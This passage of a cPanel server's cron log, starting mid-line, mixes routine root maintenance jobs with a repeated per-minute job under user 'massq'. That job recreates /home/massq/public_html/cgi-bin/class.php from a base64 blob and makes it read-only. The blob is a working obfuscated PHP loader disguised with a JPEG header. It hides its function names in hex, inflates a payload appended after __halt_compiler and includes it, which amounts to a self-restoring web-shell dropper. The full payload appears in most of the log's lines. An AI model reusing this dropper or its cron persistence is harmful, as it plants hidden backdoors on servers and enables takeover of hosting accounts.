tSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:35:01 server CROND[3499]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 06:35:01 server CROND[3500]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 06:35:01 server CROND[3498]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:36:01 server CROND[4416]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:36:01 server CROND[4418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:36:01 server CROND[4417]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:37:01 server CROND[4830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:37:01 server CROND[4829]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:37:01 server CROND[4831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:38:01 server CROND[5426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:38:01 server CROND[5427]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:38:01 server CROND[5428]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:39:01 server CROND[5819]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:39:01 server CROND[5820]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:39:01 server CROND[5822]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 06:39:01 server CROND[5821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:40:01 server CROND[6232]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 06:40:01 server CROND[6234]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 06:40:01 server CROND[6236]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:40:01 server CROND[6237]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 06:40:01 server CROND[6240]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 06:40:01 server CROND[6239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:40:01 server CROND[6241]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 06:40:01 server CROND[6242]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:41:01 server CROND[7157]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:41:01 server CROND[7158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:41:01 server CROND[7159]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:42:01 server CROND[7544]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:42:01 server CROND[7545]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 06:42:01 server CROND[7547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:42:01 server CROND[7546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:43:01 server CROND[7943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:43:01 server CROND[7944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:43:01 server CROND[7945]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:44:01 server CROND[8332]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:44:01 server CROND[8333]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:44:01 server CROND[8335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:45:01 server CROND[8733]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 06:45:01 server CROND[8737]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 06:45:01 server CROND[8749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:45:01 server CROND[8750]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 06:45:01 server CROND[8753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:45:01 server CROND[8752]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 06:45:01 server CROND[8748]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:46:01 server CROND[9625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:46:01 server CROND[9626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:46:01 server CROND[9627]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:47:01 server CROND[10248]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:47:01 server CROND[10249]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
